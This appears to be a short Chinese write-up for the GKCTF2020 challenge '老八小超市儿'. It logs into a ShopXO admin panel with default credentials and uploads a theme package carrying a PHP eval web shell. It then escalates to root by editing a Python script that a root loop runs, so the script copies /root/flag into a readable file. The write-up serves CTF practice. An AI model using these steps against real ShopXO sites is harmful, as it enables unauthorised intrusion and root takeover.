[GKCTF2020]老八小超市儿
程序员文章站
2022-05-27 14:49:10
...
题目
过程
1.后台,/admin.php。username=admin,password=shopxo
2.应用商店-主题-默认主题。下载下来,在_static_文件夹里面,新建一句话。
<?php
@eval($_POST[a]);
phpinfo();
?>
3.打包上传。上传点:应用中心-应用管理-上传应用。上传压缩包。
访问木马/public/static/index/default/1.php
发现flag无法查看
注意到红色文件。
#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done
4.修改如下,将flag写入flag.hint
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
s=open("/root/flag","r").read()
f.write(s)
f.write(str(gk1))
f.write(str(gk))
f.close()
保存之后回去查看flag.hint,已经写入。